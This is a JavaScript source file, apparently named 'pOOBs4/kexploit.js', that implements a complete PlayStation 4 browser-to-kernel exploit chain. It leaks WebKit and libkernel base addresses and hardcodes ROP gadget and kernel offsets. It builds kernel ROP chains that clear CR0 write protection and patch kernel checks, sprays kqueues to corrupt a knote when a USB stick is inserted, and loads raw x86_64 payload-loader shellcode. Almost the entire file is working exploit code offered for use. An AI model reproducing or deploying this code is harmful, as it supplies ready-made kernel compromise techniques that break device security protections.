pOOBs4/kexploit.js

var chain;
var kchain;
var kchain2;
var SAVED_KERNEL_STACK_PTR;
var KERNEL_BASE_PTR;

var webKitBase;
var webKitRequirementBase;

var libSceLibcInternalBase;
var libKernelBase;

var textArea = document.createElement("textarea");

const OFFSET_wk_vtable_first_element = 0x104F110;
const OFFSET_WK_memset_import = 0x000002A8;
const OFFSET_WK___stack_chk_fail_import = 0x00000178;
const OFFSET_WK_psl_builtin_import = 0xD68;

const OFFSET_WKR_psl_builtin = 0x33BA0;

const OFFSET_WK_setjmp_gadget_one = 0x0106ACF7;
const OFFSET_WK_setjmp_gadget_two = 0x01ECE1D3;
const OFFSET_WK_longjmp_gadget_one = 0x0106ACF7;
const OFFSET_WK_longjmp_gadget_two = 0x01ECE1D3;

const OFFSET_libcint_memset = 0x0004F810;
const OFFSET_libcint_setjmp = 0x000BB5BC;
const OFFSET_libcint_longjmp = 0x000BB616;

const OFFSET_WK2_TLS_IMAGE = 0x38e8020;


const OFFSET_lk___stack_chk_fail = 0x0001FF60;
const OFFSET_lk_pthread_create = 0x00025510;
const OFFSET_lk_pthread_join = 0x0000AFA0;

var nogc = [];
var syscalls = {};
var gadgets = {};
var wk_gadgetmap = {
    "ret": 0x32,
    "pop rdi": 0x319690,
    "pop rsi": 0x1F4D6,
    "pop rdx": 0x986C,
    "pop rcx": 0x657B7,
    "pop r8": 0xAFAA71,
    "pop r9": 0x422571,
    "pop rax": 0x51A12,
    "pop rsp": 0x4E293,

    "mov [rdi], rsi": 0x1A97920,
    "mov [rdi], rax": 0x10788F7,
    "mov [rdi], eax": 0x9964BC,

    "cli ; pop rax": 0x566F8,
    "sti": 0x1FBBCC,

    "mov rax, [rax]": 0x241CC,
    "mov rax, [rsi]": 0x5106A0,
    "mov [rax], rsi": 0x1EFD890,
    "mov [rax], rdx": 0x1426A82,
    "mov [rax], edx": 0x3B7FE4,
    "add rax, rsi": 0x170397E,
    "mov rdx, rax": 0x53F501,
    "add rax, rcx": 0x2FBCD,
    "mov rsp, rdi": 0x2048062,
    "mov rdi, [rax + 8] ; call [rax]": 0x751EE7,
    "infloop": 0x7DFF
};

var wkr_gadgetmap = {
    "xchg rdi, rsp ; call [rsi - 0x79]": 0x1d74f0 //JOP 3
};

var wk2_gadgetmap = {
    "mov [rax], rdi": 0xFFDD7,
    "mov [rax], rcx": 0x2C9ECA,
};
var hmd_gadgetmap = {
    "add [r8], r12": 0x2BCE1
};
var ipmi_gadgetmap = {
    "mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]": 0x344B
};

function userland() {

    //RW -> ROP method is strongly based off of:
    //https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit

    p.launch_chain = launch_chain;
    p.malloc = malloc;
    p.malloc32 = malloc32;
    p.stringify = stringify;
    p.array_from_address = array_from_address;
    p.readstr = readstr;

    var textAreaAddr = p.leakval(textArea);
    var textAreVtablePtrPtr = textAreaAddr.add32(0x18);
    var textAreaVtPtr = p.read8(textAreVtablePtrPtr);

    //pointer to vtable address
    var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
    //address of vtable
    var textAreaVtable = p.read8(textAreaVtPtr);
    //use address of 1st entry (in .text) to calculate webkitbase
    webKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element);

    libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import)));
    libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset);

    libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import)));
    libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail);

    webKitRequirementBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_psl_builtin_import)));
    webKitRequirementBase.sub32inplace(OFFSET_WKR_psl_builtin);

    for (var gadget in wk_gadgetmap) {
        window.gadgets[gadget] = webKitBase.add32(wk_gadgetmap[gadget]);
    }
    for (var gadget in wkr_gadgetmap) {
        window.gadgets[gadget] = webKitRequirementBase.add32(wkr_gadgetmap[gadget]);
    }

    function get_jmptgt(address) {
        var instr = p.read4(address) & 0xFFFF;
        var offset = p.read4(address.add32(2));
        if (instr != 0x25FF) {
            return 0;
        }
        return address.add32(0x6 + offset);
    }

    function malloc(sz) {
        var backing = new Uint8Array(0x10000 + sz);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = backing;
        return ptr;
    }

    function malloc32(sz) {
        var backing = new Uint8Array(0x10000 + sz * 4);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = new Uint32Array(backing.buffer);
        return ptr;
    }

    function array_from_address(addr, size) {
        var og_array = new Uint32Array(0x1000);
        var og_array_i = p.leakval(og_array).add32(0x10);

        p.write8(og_array_i, addr);
        p.write4(og_array_i.add32(8), size);

        nogc.push(og_array);
        return og_array;
    }

    function stringify(str) {
        var bufView = new Uint8Array(str.length + 1);
        for (var i = 0; i < str.length; i++) {
            bufView[i] = str.charCodeAt(i) & 0xFF;
        }
        window.nogc.push(bufView);
        return p.read8(p.leakval(bufView).add32(0x10));
    }

    function readstr(addr) {
        var str = "";
        for (var i = 0;; i++) {
            var c = p.read1(addr.add32(i));
            if (c == 0x0) {
                break;
            }
            str += String.fromCharCode(c);

        }
        return str;
    }

    function array_from_address(addr, size) {
        var og_array = new Uint32Array(0x1000);
        var og_array_i = p.leakval(og_array).add32(0x10);

        p.write8(og_array_i, addr);
        p.write4(og_array_i.add32(8), size);

        nogc.push(og_array);
        return og_array;
    }

    var fakeVtable_setjmp = p.malloc32(0x200);
    var fakeVtable_longjmp = p.malloc32(0x200);
    var original_context = p.malloc32(0x40);
    var modified_context = p.malloc32(0x40);

    p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp);
    p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
    p.write8(fakeVtable_setjmp.add32(0x10), original_context);
    p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp));
    p.write8(fakeVtable_setjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]

    p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp);
    p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
    p.write8(fakeVtable_longjmp.add32(0x10), modified_context);
    p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));
    p.write8(fakeVtable_longjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]

    function launch_chain(chain) {
        chain.push(window.gadgets["pop rdi"]);
        chain.push(original_context);
        chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));

        p.write8(textAreaVtPtr, fakeVtable_setjmp);
        textArea.scrollLeft = 0x0;
        p.write8(modified_context.add32(0x00), window.gadgets["ret"]);
        p.write8(modified_context.add32(0x10), chain.stack);
        p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40)))

        p.write8(textAreaVtPtr, fakeVtable_longjmp);
        textArea.scrollLeft = 0x0;
        p.write8(textAreaVtPtr, textAreaVtable);
    }

    var kview = new Uint8Array(0x1000);
    var kstr = p.leakval(kview).add32(0x10);
    var orig_kview_buf = p.read8(kstr);

    p.write8(kstr, window.libKernelBase);
    p.write4(kstr.add32(8), 0x40000);
    var countbytes;

    for (var i = 0; i < 0x40000; i++) {
        if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) {
            countbytes = i;
            break;
        }
    }
    p.write4(kstr.add32(8), countbytes + 32);
    var dview32 = new Uint32Array(1);
    var dview8 = new Uint8Array(dview32.buffer);
    for (var i = 0; i < countbytes; i++) {
        if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) {
            dview8[0] = kview[i + 3];
            dview8[1] = kview[i + 4];
            dview8[2] = kview[i + 5];
            dview8[3] = kview[i + 6];
            var syscallno = dview32[0];
            window.syscalls[syscallno] = window.libKernelBase.add32(i);
        }
    }
    p.write8(kstr, orig_kview_buf);

    chain = new rop();
}

function run_hax() {
    userland();
    if (chain.syscall(23, 0).low != 0x0) {
        kernel();
        //this wk exploit is pretty stable we can probably afford to kill webkit before payload loader but should we?.
        //p.write8(0x0, 0x0); //write to 0x0 -> kill browser.
    }

    //tries to map at 0x926200000 because there's still idk how many payloads that have it hardcoded like that. No MAP_FIXED for them though...
    var payload_buffer = chain.syscall(477, new int64(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
    var payload_loader = p.malloc32(0x1000);

    //NOTE: You can replace this with a payload instead of the loader.
    //You would need to create an array view of payload_buffer to do that. (var payload_writer = p.array_from_address(payload_buffer);)
    //And other ways, ....

    //This is  x86_64 asm, you can disassemble it* if you want to know what the payload loader does under the hood. (* will need to account for endianness)
    var loader_writer = payload_loader.backing;
    loader_writer[0] = 0x56415741;
    loader_writer[1] = 0x83485541;
    loader_writer[2] = 0x894818EC;
    loader_writer[3] = 0xC748243C;
    loader_writer[4] = 0x10082444;
    loader_writer[5] = 0x483C2302;
    loader_writer[6] = 0x102444C7;
    loader_writer[7] = 0x00000000;
    loader_writer[8] = 0x000002BF;
    loader_writer[9] = 0x0001BE00;
    loader_writer[10] = 0xD2310000;
    loader_writer[11] = 0x00009CE8;
    loader_writer[12] = 0xC7894100;
    loader_writer[13] = 0x8D48C789;
    loader_writer[14] = 0xBA082474;
    loader_writer[15] = 0x00000010;
    loader_writer[16] = 0x000095E8;
    loader_writer[17] = 0xFF894400;
    loader_writer[18] = 0x000001BE;
    loader_writer[19] = 0x0095E800;
    loader_writer[20] = 0x89440000;
    loader_writer[21] = 0x31F631FF;
    loader_writer[22] = 0x0062E8D2;
    loader_writer[23] = 0x89410000;
    loader_writer[24] = 0x2C8B4CC6;
    loader_writer[25] = 0x45C64124;
    loader_writer[26] = 0x05EBC300;
    loader_writer[27] = 0x01499848;
    loader_writer[28] = 0xF78944C5;
    loader_writer[29] = 0xBAEE894C;
    loader_writer[30] = 0x00001000;
    loader_writer[31] = 0x000025E8;
    loader_writer[32] = 0x7FC08500;
    loader_writer[33] = 0xFF8944E7;
    loader_writer[34] = 0x000026E8;
    loader_writer[35] = 0xF7894400;
    loader_writer[36] = 0x00001EE8;
    loader_writer[37] = 0x2414FF00;
    loader_writer[38] = 0x18C48348;
    loader_writer[39] = 0x5E415D41;
    loader_writer[40] = 0x31485F41;
    loader_writer[41] = 0xC748C3C0;
    loader_writer[42] = 0x000003C0;
    loader_writer[43] = 0xCA894900;
    loader_writer[44] = 0x48C3050F;
    loader_writer[45] = 0x0006C0C7;
    loader_writer[46] = 0x89490000;
    loader_writer[47] = 0xC3050FCA;
    loader_writer[48] = 0x1EC0C748;
    loader_writer[49] = 0x49000000;
    loader_writer[50] = 0x050FCA89;
    loader_writer[51] = 0xC0C748C3;
    loader_writer[52] = 0x00000061;
    loader_writer[53] = 0x0FCA8949;
    loader_writer[54] = 0xC748C305;
    loader_writer[55] = 0x000068C0;
    loader_writer[56] = 0xCA894900;
    loader_writer[57] = 0x48C3050F;
    loader_writer[58] = 0x006AC0C7;
    loader_writer[59] = 0x89490000;
    loader_writer[60] = 0xC3050FCA;
    chain.syscall(74, payload_loader, 0x4000, (0x1 | 0x2 | 0x4));

    var pthread = p.malloc(0x10);
    chain.call(libKernelBase.add32(OFFSET_lk_pthread_create), pthread, 0x0, payload_loader, payload_buffer);
    awaitpl();
}

function kernel() {
    extra_gadgets();
    kchain_setup();
    object_setup();
    trigger_spray();
}

var handle;
var random_path;
var ex_info;

function load_prx(name) {
    //sys_dynlib_load_prx
    var res = chain.syscall(594, p.stringify(`/${random_path}/common/lib/${name}`), 0x0, handle, 0x0);
    if (res.low != 0x0) {
        alert("failed to load prx/get handle " + name);
    }
    //sys_dynlib_get_info_ex
    p.write8(ex_info, 0x1A8);
    res = chain.syscall(608, p.read4(handle), 0x0, ex_info);
    if (res.low != 0x0) {
        alert("failed to get module info from handle");
    }
    var tlsinit = p.read8(ex_info.add32(0x110));
    var tlssize = p.read4(ex_info.add32(0x11C));

    if (tlssize != 0) {
        if (name == "libSceWebKit2.sprx") {
            tlsinit.sub32inplace(OFFSET_WK2_TLS_IMAGE);
        } else {
            alert(`${name}, tlssize is non zero. this usually indicates that this module has a tls phdr with real data. You can hardcode the imgage to base offset here if you really wish to use one of these.`);
        }
    }
    return tlsinit;
}

//Obtain extra gadgets through module loading
function extra_gadgets() {
    handle = p.malloc(0x150);
    var randomized_path_ptr = handle.add32(0x4);
    ex_info = randomized_path_ptr.add32(0x30);

    chain.syscall(602, 0, randomized_path_ptr);
    random_path = p.readstr(randomized_path_ptr);

    var ipmi_addr = load_prx("libSceIpmi.sprx");
    var hmd_addr = load_prx("libSceHmd.sprx");
    var wk2_addr = load_prx("libSceWebKit2.sprx");

    for (var gadget in hmd_gadgetmap) {
        window.gadgets[gadget] = hmd_addr.add32(hmd_gadgetmap[gadget]);
    }
    for (var gadget in wk2_gadgetmap) {
        window.gadgets[gadget] = wk2_addr.add32(wk2_gadgetmap[gadget]);
    }
    for (var gadget in ipmi_gadgetmap) {
        window.gadgets[gadget] = ipmi_addr.add32(ipmi_gadgetmap[gadget]);
    }

    for (var gadget in window.gadgets) {
        p.read8(window.gadgets[gadget]);
    }
}

//Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack.
function kchain_setup() {
    const KERNEL_setidt = 0x312c40;
    const KERNEL_setcr0 = 0x1FB949;
    const KERNEL_Xill = 0x17d500;
    const KERNEL_veriPatch = 0x626874;
    const KERNEL_enable_syscalls_1 = 0x490;
    const KERNEL_enable_syscalls_2 = 0x4B5;
    const KERNEL_enable_syscalls_3 = 0x4B9;
    const KERNEL_enable_syscalls_4 = 0x4C2;
    const KERNEL_mprotect = 0x80B8D;
    const KERNEL_prx = 0x23AEC4;
    const KERNEL_dlsym_1 = 0x23B67F;
    const KERNEL_dlsym_2 = 0x221b40;


    const KERNEL_setuid = 0x1A06;
    const KERNEL_syscall11_1 = 0x1100520;
    const KERNEL_syscall11_2 = 0x1100528;
    const KERNEL_syscall11_3 = 0x110054C;
    const KERNEL_syscall11_gadget = 0x4c7ad;
    const KERNEL_mmap = 0x16632A;
    const KERNEL_setcr0_patch = 0x3ade3B;
    const KERNEL_kqueue_close_epi = 0x398991;

    SAVED_KERNEL_STACK_PTR = p.malloc(0x200);
    KERNEL_BASE_PTR = SAVED_KERNEL_STACK_PTR.add32(0x8);
    //negative offset of kqueue string to kernel base
    //0xFFFFFFFFFF86B593 0x505
    //0xFFFFFFFFFF80E364 0x900
    p.write8(KERNEL_BASE_PTR, new int64(0xFF80E364, 0xFFFFFFFF));

    kchain = new rop();
    kchain2 = new rop();

    kchain.count = 0;
    kchain2.count = 0;

    kchain.set_kernel_var(KERNEL_BASE_PTR);
    kchain2.set_kernel_var(KERNEL_BASE_PTR);

    kchain.push(gadgets["pop rax"]);
    kchain.push(SAVED_KERNEL_STACK_PTR);
    kchain.push(gadgets["mov [rax], rdi"]);
    kchain.push(gadgets["pop r8"]);
    kchain.push(KERNEL_BASE_PTR);
    kchain.push(gadgets["add [r8], r12"]);



    var idx1 = kchain.write_kernel_addr_to_chain_later(KERNEL_setidt);
    var idx2 = kchain.write_kernel_addr_to_chain_later(KERNEL_setcr0);
    //Modify UD
    kchain.push(gadgets["pop rdi"]);
    kchain.push(0x6);
    kchain.push(gadgets["pop rsi"]);
    kchain.push(gadgets["mov rsp, rdi"]);
    kchain.push(gadgets["pop rdx"]);
    kchain.push(0xE);
    kchain.push(gadgets["pop rcx"]);
    kchain.push(0x0);
    kchain.push(gadgets["pop r8"]);
    kchain.push(0x0);
    var idx1_dest = kchain.get_rsp();
    kchain.pushSymbolic(); // overwritten with KERNEL_setidt

    kchain.push(gadgets["pop rsi"]);
    kchain.push(0x80040033);
    kchain.push(gadgets["pop rdi"]);
    kchain.push(kchain2.stack);
    var idx2_dest = kchain.get_rsp();
    kchain.pushSymbolic(); // overwritten with KERNEL_setcr0

    kchain.finalizeSymbolic(idx1, idx1_dest);
    kchain.finalizeSymbolic(idx2, idx2_dest);

    //Restore original UD

    var idx3 = kchain2.write_kernel_addr_to_chain_later(KERNEL_Xill);
    var idx4 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setidt);
    kchain2.push(gadgets["pop rdi"]);
    kchain2.push(0x6);
    kchain2.push(gadgets["pop rsi"]);
    var idx3_dest = kchain2.get_rsp();
    kchain2.pushSymbolic(); // overwritten with KERNEL_Xill
    kchain2.push(gadgets["pop rdx"]);
    kchain2.push(0xE);
    kchain2.push(gadgets["pop rcx"]);
    kchain2.push(0x0);
    kchain2.push(gadgets["pop r8"]);
    kchain2.push(0x0);
    var idx4_dest = kchain2.get_rsp();
    kchain2.pushSymbolic(); // overwritten with KERNEL_setidt 

    kchain2.finalizeSymbolic(idx3, idx3_dest);
    kchain2.finalizeSymbolic(idx4, idx4_dest);

    //Apply kernel patches    

    kchain2.kwrite4(KERNEL_veriPatch, 0x83489090);

    kchain2.kwrite4(KERNEL_enable_syscalls_1, 0x00000000);
    //patch in reverse because /shrug
    kchain2.kwrite4(KERNEL_enable_syscalls_4, 0x04EB69EB);
    kchain2.kwrite4(KERNEL_enable_syscalls_3, 0x3B489090);
    kchain2.kwrite4(KERNEL_enable_syscalls_2, 0xC9859090);

    kchain2.kwrite4(KERNEL_setuid, 0x8B482AEB);
    kchain2.kwrite4(KERNEL_mprotect, 0x00000000);
    kchain2.kwrite4(KERNEL_prx, 0x00C0E990);
    kchain2.kwrite4(KERNEL_dlsym_1, 0x8B484CEB);
    kchain2.kwrite4(KERNEL_dlsym_2, 0xC3C03148);

    kchain2.kwrite4(KERNEL_mmap, 0x37B24137);

    kchain2.kwrite4(KERNEL_syscall11_1, 0x00000002);
    kchain2.kwrite8_kaddr(KERNEL_syscall11_2, KERNEL_syscall11_gadget);
    kchain2.kwrite4(KERNEL_syscall11_3, 0x00000001);

    //Restore CR0
    kchain2.kwrite4(KERNEL_setcr0_patch, 0xC3C7220F);
    var idx5 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setcr0_patch);
    kchain2.push(gadgets["pop rdi"]);
    kchain2.push(0x80050033);
    var idx5_dest = kchain2.get_rsp();
    kchain2.pushSymbolic(); // overwritten with KERNEL_setcr0_patch
    kchain2.finalizeSymbolic(idx5, idx5_dest);


    //Recover
    kchain2.rax_kernel(KERNEL_kqueue_close_epi);
    kchain2.push(gadgets["mov rdx, rax"]);
    kchain2.push(gadgets["pop rsi"]);
    kchain2.push(SAVED_KERNEL_STACK_PTR);
    kchain2.push(gadgets["mov rax, [rsi]"]);
    kchain2.push(gadgets["pop rcx"]);
    kchain2.push(0x10);
    kchain2.push(gadgets["add rax, rcx"]);
    kchain2.push(gadgets["mov [rax], rdx"]);
    kchain2.push(gadgets["pop rdi"]);
    var idx6 = kchain2.pushSymbolic();
    kchain2.push(gadgets["mov [rdi], rax"]);
    kchain2.push(gadgets["sti"]);
    kchain2.push(gadgets["pop rsp"]);
    var idx6_dest = kchain2.get_rsp();
    kchain2.pushSymbolic(); // overwritten with old stack pointer
    kchain2.finalizeSymbolic(idx6, idx6_dest);
}

function object_setup() {
    //Map fake object
    var fake_knote = chain.syscall(477, 0x4000, 0x4000 * 0x3, 0x3, 0x1012, 0xFFFFFFFF, 0x0);
    var fake_filtops = fake_knote.add32(0x4000);
    var fake_obj = fake_knote.add32(0x8000);
    if (fake_knote.low != 0x4000) {
        alert("enomem: " + fake_knote);
        while (1);
    }
    //setup fake object
    //KNOTE
    {
        p.write8(fake_knote, fake_obj);
        p.write8(fake_knote.add32(0x68), fake_filtops)
    }
    //FILTOPS
    {
        p.write8(fake_filtops.sub32(0x79), gadgets["cli ; pop rax"]); //cli ; pop rax ; ret
        p.write8(fake_filtops.add32(0x0), gadgets["xchg rdi, rsp ; call [rsi - 0x79]"]); //xchg rdi, rsp ; call qword ptr [rsi - 0x79]
        p.write8(fake_filtops.add32(0x8), kchain.stack);
        p.write8(fake_filtops.add32(0x10), gadgets["mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]"]); //mov rcx, qword ptr [rdi] ; mov rsi, rax ; call qword ptr [rcx + 0x30]
    }
    //OBJ
    {
        p.write8(fake_obj.add32(0x30), gadgets["mov rdi, [rax + 8] ; call [rax]"]); //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax]
    }
}

var trigger_spray = function () {

    var NUM_KQUEUES = 0x1B0;
    var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4);
    //Make kqueues
    {
        for (var i = 0; i < NUM_KQUEUES; i++) {
            chain.fcall(window.syscalls[362]);
            chain.write_result4(kqueue_ptr.add32(0x4 * i));
        }
    }
    chain.run();
    var kqueues = p.array_from_address(kqueue_ptr, NUM_KQUEUES);

    var that_one_socket = chain.syscall(97, 2, 1, 0);
    if (that_one_socket.low < 0x100 || that_one_socket.low >= 0x200) {
        alert("invalid socket");
        while (1);
    }

    //Spray kevents
    var kevent = p.malloc(0x20);
    p.write8(kevent.add32(0x0), that_one_socket);
    p.write4(kevent.add32(0x8), 0xFFFF + 0x010000);
    p.write4(kevent.add32(0xC), 0x0);
    p.write8(kevent.add32(0x10), 0x0);
    p.write8(kevent.add32(0x18), 0x0); {
        for (var i = 0; i < NUM_KQUEUES; i++) {
            chain.fcall(window.syscalls[363], kqueues[i], kevent, 0x1, 0x0, 0x0, 0x0);
        }
    }
    chain.run();



    //Fragment memory
    {
        for (var i = 20; i < NUM_KQUEUES; i += 2) {
            chain.fcall(window.syscalls[6], kqueues[i]);
        }
    }
    chain.run();

    //Trigger OOB
    alert("Insert USB now. do not close the dialog until notification pops, remove usb after closing it.");
    //Trigger corrupt knote
    {
        for (var i = 1; i < NUM_KQUEUES; i += 2) {
            chain.fcall(window.syscalls[6], kqueues[i]);
        }
    }
    chain.run();
    if (chain.syscall(23, 0).low == 0) {
        return;
    }
    alert(`Failed to trigger the exploit,  This happened because you plugged it in too late/early or not at all.
    if you did plug it in then the kernel heap is slightly corrupted, this might cause panics later on.
    closing this alert will crash the browser for you.`);
    p.write8(0, 0);
    return;
}